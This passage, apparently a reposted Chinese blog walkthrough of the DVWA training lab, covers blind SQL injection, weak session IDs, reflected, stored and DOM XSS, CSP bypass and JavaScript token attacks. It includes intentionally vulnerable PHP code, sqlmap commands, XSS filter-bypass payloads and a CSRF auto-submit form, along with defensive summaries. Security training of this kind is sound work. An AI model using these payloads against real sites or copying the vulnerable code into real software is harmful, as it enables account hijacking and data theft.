$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
// 预编译
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
验证token防御CSRF攻击,检测id是否为数字
prepare预编译的优势:一次编译,多次运行,省去了解析优化等过程
SQL语句在程序运行前已经进行了预编译,在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,对应的执行计划也会缓存下来并允许数据库已参数化的形式进行查询,当运行时动态地把参数传给PreprareStatement时,即使参数里有敏感字符如 or '1=1’也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令,如此,就起到了SQL注入的作用了!
防护总结:
- 对参数进行预编译
- 使用正则表达式过滤传入的参数
- 字符串过滤,转义
SQL Injection (Blind) SQL 盲注
用户可以控制输入但是页面没有回显
Low
-
查看源码:
// Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // 查询到结果 只输出如下信息 $html .= '<pre>User ID exists in the database.</pre>'; }
源码中暴露的问题:
使用GET类型传参,对用户输入没有过滤,页面无回显
-
由于盲注费时,这里使用sqlmap工具演示
因为DVWA是由登录机制的,所以这里手动指定–cookie来进行会话认证:
python2 sqlmap.py -u "http://127.0.0.1/i/DVWA-master/vulnerabilities/sqli_blind/?id=1*&Submit=Submit" --cookie="security=low; PHPSESSID=6do0nhe0e2kjimnrtdbo7q74i2"
Medium
-
查看源码:
$id = $_POST[ 'id' ]; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
源码中暴露的问题:
改为POST类型传参,同样页面无回显
-
同样使用sqlmap工具:
python2 sqlmap.py -u "http://127.0.0.1/i/DVWA-master/vulnerabilities/sqli_blind/?id=1*&Submit=Submit" --cookie="security=medium; PHPSESSID=6do0nhe0e2kjimnrtdbo7q74i2" --flush-session
High
-
查看源码:
$id = $_COOKIE[ 'id' ]; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
源码中暴露的问题:
只是从Cookie中获取id传入数据库中查询,使用单引号闭合,依然没有过滤
-
同样使用sqlmap工具:
python2 sqlmap.py -u "http://127.0.0.1/i/DVWA-master/vulnerabilities/sqli_blind/" --cookie="id=1*; security=medium; PHPSESSID=6do0nhe0e2kjimnrtdbo7q74i2" --flush-session
Impossible
与SQL注入靶场一样,验证token防御CSRF,检测id是否为数字,prepare预编译防止sql注入
Weak Session IDs 弱会话ID
Cookie是保存在客户端浏览器中的,Session是保存在服务器中的。如果Session过于见到就容易被人伪造,根本不需要知道用户的密码就能登录服务器了
危害:
模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务。
Low
-
查看源码:
$html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) { $_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++; $cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false); }
源码中暴露的问题
检查是否存在last_session_id,不存在就置0,存在就加1,然后将其作为session存入cookie
-
获取网址和cookie即可绕过登录
容易发现session的规律,填入网址和session即可绕过用户登录访问
Medium
-
查看源码:
$html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = time(); setcookie("dvwaSession", $cookie_value); }
源码中暴露的问题:
采用时间戳来作为session
-
发现session规律,通过在线时间戳生成,即可伪造cookie
High
-
查看源码:
$html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) { $_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++; $cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false); }
源码中暴露的问题:
将session值+1,再进行一次MD5加密,并给一个有效时限
-
可以根据特征判断出是MD5,找到session生成规律伪造session
Impossible
查看源码:
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
随机数+时间戳+特定字符,再加上有效期,难以找到规律伪造session
防护总结:
- 验证请求头中的数据,比如验证User-Agent的变化
- 增加token校验
- 利用get.post.cookie等不同的传输方式来传递sessionid和token等增加攻击者获取难度
- 利用多种组合再加上有效期使攻击者难以找到规律来伪造session
XSS (Reflected) 反射型跨站脚本
用户输入的数据被当作前端代码执行。
危害:
- 窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
- 窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
- 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
- 发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。
Low
-
查看源码:
header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }
源码中暴露的问题:
对 n a m e 的 传 参 没 有 做 任 何 的 过 滤 , 只 是 检 测 了 name的传参没有做任何的过滤,只是检测了 name的传参没有做任何的过滤,只是检测了name存在且不为空就直接输出在网页中
- 注入语句:
<script>alert('1')</script>
Medium
-
查看源码:
header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
源码中暴露的问题:
过滤了<script>标签,可以使用事件类型标签绕过,也可使用嵌套构造和大小写转换绕过
-
事件类型:
<img src=1 onerror=alert(1) />
High
-
查看源码:
header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; }
源码中暴露的问题:
正则过滤更加完善,不区分大小写,且使用通配符匹配,导致嵌套构造的方法也不能成功,但依旧可以使用事件类型标签或伪协议的方法
-
事件类型:
<img src=1 onerror=alert(1) />
Impossible
查看源码:
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
函数:
htmlspecialchars() // 函数把预定义的字符转换为 HTML 实体。
name变量通过htmlspecialchars()函数被HTML实体化后输出在了标签中,目前来说没有什么的姿势可以绕过,如果这个输出在一些标签内的话,还是可以尝试绕过的。
防护总结:
- 转义字符输出
- 白名单验证
- HTML实体化
XSS (Stored) 存储型跨站脚本
反射型XSS是即有即用,没有持久性,而存储型XSS是存储在服务器上,只要服务器不挂机或者是被干掉,就一直会有
Low
-
查看源码:
if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); }
函数:
trim(string,charlist) // 移除string字符两侧的预定义字符。 stripslashes(string) // 去除掉string字符的反斜杠\,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。 mysql_real_escape_string// 转义 SQL 语句中使用的字符串中的特殊字符。
源码中暴露的问题:
只是对数据库进行了防护,没有考虑到对XSS进行过滤
-
注入语句:
<script>alert('1')</script>
-
可以看到paload已经插入数据库中:
Medium
-
查看源码:
if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); }
函数:
strip_tags() // 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。 addslashes() // 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。 htmlspecialchars(string,flags,character-set,double_encode) // 把预定义的字符转换为 HTML 实体。
源码中暴露的问题:
由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。
-
大写绕过,由于输入长度限制,抓包修改name传参(也可以手动审查元素将name的maxlength值调大):
<Script>alert('2')</script>
-
可以看到paload已经插入数据库中:
High
-
查看源码:
if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); }
源码中暴露的问题:
message变量依然无法注入,name变量正则过滤更加完善,不区分大小写,且使用通配符匹配,导致嵌套构造的方法也不能成功,但依旧可以使用事件类型标签或伪协议的方法
-
事件类型:
<img src=1 onerror=alert(1) />
-
可以看到paload已经插入数据库中:
Impossible
message和name变量都进行了严格的过滤,而且还添加了用户的token验证机制,有效地防止了CSRF攻击
XSS (DOM) DOM型跨站脚本
DOM型XSS的被攻击对象其实和反射型XSS被攻击对象差不多,就是给攻击对象放送URL。但是反射型XSS需要联网,而DOM型不需要!
Low
-
查看html:
<div class="vulnerable_code_area"> <p>Please choose a language:</p> <form name="XSS" method="GET"> <select name="default"> <script> if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>"); </script> </select> <input type="submit" value="Select" /> </form> </div>
DOM XSS 是通过修改页面的 DOM 节点形成的 XSS。首先通过选择语言后然后往页面中创建了新的 DOM 节点
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>");
源码中暴露的问题:
这里的lang变量通过document.location.href来获取到,并且没有任何过滤就直接URL解码后输出在了option标签中,
-
构建payload:
?default=English <script>alert('DOM')</script>
Medium
-
查看源码:
// Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } }
函数:
stripos() // 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写) header() // 函数向客户端发送原始的 HTTP 报头。
源码中暴露的问题:
对default变量进行了过滤,通过stripos()函数茶渣 <script 字符串在default变量中第一次出现的位置,如果匹配成功的话通过location将URL后面的参数修正为?default=English,同样这里可以通过其他的标签搭配事件类型来达到弹窗效果
-
闭合</option>和</select>,然后使用img标签通过事件弹窗
构建payload:
?default=English</option></select><img src=1 οnerrοr=alert('DOMmedium')>
High
-
查看源码:
// Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } }
源码中暴露的问题:
使用了白名单机制,不满足则重置URL为:?default=English
-
可以用&连接一个新的自定义变量来Bypass
?default=English&a=<input οnclick=alert('DOMhigh') />
也可以用#来Bypass
?default=English#<input οnclick=alert('DOMhigh') />
Impossible
查看源码:
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
对用户输入的参数不进行解码,会导致标签失效,从而无法XSS
防护总结:
检测的流程就是通过查看代码是否有document.write、eval、window之类能造成危害的地方,然后通过回溯变量和函数的调用过程,查看用户是否能控制输入。如果能控制输入,就看看是否能复现,能复现就说明存在DOM XSS,需要对输入的数据进行编码。
当业务需要必须得将用户输入的数据放入html,那就要尽量使用安全的方法,比如innerText(),testContent()等。在使用框架时尽量使用框架自带的安全函数。
Content Security Policy Bypass 绕过内容安全策略
- 内容安全策略(CSP)是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少它们的应用程序执行的特权
- CSP 是一种白名单制度,实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。
Low
-
查看源码:
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics. header($headerCSP); if (isset ($_POST['include'])) { $page[ 'body' ] .= " <script src='" . $_POST['include'] . "'></script> "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> ';
从源码中卡可以看出白名单的网址如下:
https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com
- 其中pastebin.com是一个快速分享文本内容的网站,这个内容是可控的,可以插入XSS攻击语句:
alert(doucument.cookie)
将网址 https://pastebin.com/raw/Bma7kwXL 填写到文本框中 然后点击 include 即可将这个文件包含进来,从而触发 XSS:
。。这里我尝试多个浏览器都无法弹窗,网上有人说这个网站是米国的访问比较慢,但是我一次都没成功过
查看网页源码会发现刚刚的网址被SRC给引用进来了
还可以配合CSRF让攻击更加自动化:<form method="POST" action="http://127.0.0.1/i/DVWA-master/vulnerabilities/csp/" id="csp"> <input type="text" name="include" value=""> </form> <script> var form = document.getElementById("csp"); form[0].value="https://pastebin.com/raw/ZFnbmjBU"; form.submit(); </script>
将.html上传到服务器,想办法让受害者访问,就会自动触发CSRF和XSS攻击(短网址,邮件钓鱼)
Medium
-
查看源码:
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; header($headerCSP); // 关掉 XSS 防护 让 alert 可以顺利执行 header ("X-XSS-Protection: 0"); # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; }
script-src还可以设置一些特殊值。
unsafe-inline:允许执行页面内嵌的<script>标签和事件监听函数 unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。 nonce:每次HTTP回应给出一个授权 token,页面内嵌脚本必须有这个 token,才会执行 hash:列出允许执行的脚本代码的 Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
-
这一个关卡使用来了 unsafe-inline 和 nonce ,所以页面内嵌脚本,必须有这个token才能执行:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
High
CSP规则十分苛刻,只允许self的脚本执行(代码审计)
Impossible
JSONP被写死
JavaScript Attacks JS 攻击
JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。
Low
-
查看源码:
function generate_token() { var phrase = document.getElementById("phrase").value; document.getElementById("token").value = md5(rot13(phrase)); }
主要是通过JS再浏览器前端生成了token
再查看inde.php的源码:
$message = ""; // Check whwat was sent in to see if it was what was expected if ($_SERVER['REQUEST_METHOD'] == "POST") { if (array_key_exists ("phrase", $_POST) && array_key_exists ("token", $_POST)) { $phrase = $_POST['phrase']; $token = $_POST['token']; if ($phrase == "success") { switch( $_COOKIE[ 'security' ] ) { case 'low': if ($token == md5(str_rot13("success"))) { $message = "<p style='color:red'>Well done!</p>"; } else { $message = "<p>Invalid token.</p>"; }
$phrase 和 t o k e n 均 从 用 户 的 P O S T 方 式 获 取 , 如 果 i f ( token均从用户的POST方式获取,如果 if( token均从用户的POST方式获取,如果if(phrase == “success”),且token正确,就输出 Well done!
-
浏览器下断点,审查元素发现生成的这个token实际上:
当提交表单时,token和phrase就会提交,但这里的token是错误的,需要手将ChangeMe修改为success才可以拿到正确的token:
拿到正确的token重新提交:
或者直接再console里输入:md5(rot13(“success”)); -
成功:
Medium
-
查看源码:
<?php $page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>'; ?>
-
调试medium.js加入断点,调试,放行,审查元素会发现正确token已出现:
-
成功:
High
-
查看源码:
$page[ 'body' ] .= <<<EOF <script src="/vulnerabilities/javascript/source/high.js"></script> EOF;
跟进high.js发现代码被混淆,使用在线解码工具:http://deobfuscatejavascript.com/#
function do_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t } function token_part_3(t, y = "ZZ") { document.getElementById("token").value = sha256(document.getElementById("token").value + y) } function token_part_2(e = "YY") { document.getElementById("token").value = sha256(e + document.getElementById("token").value) } function token_part_1(a, b) { document.getElementById("token").value = do_something(document.getElementById("phrase").value) } document.getElementById("phrase").value = ""; setTimeout(function() { token_part_2("XX") }, 300); document.getElementById("send").addEventListener("click", token_part_3); token_part_1("ABCD", 44);
首先将phrase的值初始化为空,这里是关键后面需要把这里直接console设置为success:
document.getElementById("phrase").value = "";
然后执行:
token_part_1("ABCD", 44);
此时调用do_something函数将参数e逆序处理:
function do_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t }
延迟300秒后执行token_part_2(”XX“)再将生成的sha256值赋给token:
ecc76c19c9f3c5108773d6c3a18a6c25c9bf1131c4e250b71213274e3b2b5d08
当点击提交时会触发click事件然后调用token_part_3函数
通过分析代码的流程发现输入的success没有传进函数中执行,下面开始调试。
-
首先选中右侧mouse监听click事件,此时浏览器会自动解码JS,然后在token_part_1下断点:
此时取消mouse的click,重新刷新页面,然后去控制台里设置phrase的值:document.getElementById("phrase").value = "success";
放行,成功:
Impossible
直接删除了用户可以输入的地方
参考链接:
https://www.freebuf.com/articles/web/119692.html(Insecure CAPTCHA)
http://www.ruanyifeng.com/blog/2016/09/csp.html(Content Security Policy)
https://www.cnblogs.com/someone9/p/9180218.html(文件上传漏洞)
https://www.wuyini.cn/672.html#toc-head-30(DVWA靶场通关)
转载:https://blog.csdn.net/weixin_45605352/article/details/114920680